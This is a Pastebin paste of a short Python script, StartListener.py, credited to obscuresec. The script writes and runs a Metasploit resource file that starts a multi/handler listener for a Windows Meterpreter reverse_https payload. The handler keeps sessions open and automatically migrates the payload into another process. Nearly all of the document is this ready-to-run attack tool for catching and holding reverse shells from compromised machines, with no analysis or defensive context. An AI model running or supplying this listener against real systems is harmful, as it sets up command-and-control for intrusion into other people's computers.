Advertisement
opexxx

StartListener.py

May 14th, 2014
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.84 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. # StartListener.py
  4. # Simple python script to start a Meterpreter HTTPs Handler
  5. # by Chris Campbell (obscuresec)
  6. #
  7. import sys
  8. import subprocess
  9.  
  10. #write a resource file and call it
  11. def build(lhost,lport):
  12.     options = "use multi/handler\n"
  13.     options += "set payload windows/meterpreter/reverse_https\nset LHOST {0}\nset LPORT {1}\n".format(lhost,lport)
  14.     options += "set ExitOnSession false\nset AutoRunScript post/windows/manage/smart_migrate\nexploit -j\n"
  15.     filewrite = file("listener.rc", "w")
  16.     filewrite.write(options)
  17.     filewrite.close()
  18.     subprocess.Popen("/opt/metasploit/app/msfconsole -r listener.rc", shell=True).wait()
  19.  
  20. #grab args
  21. try:
  22.     lhost = sys.argv[1]
  23.     lport = sys.argv[2]
  24.     build(lhost,lport)
  25.  
  26. #index error
  27. except IndexError:
  28.     print "python StartListener.py lhost lport"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement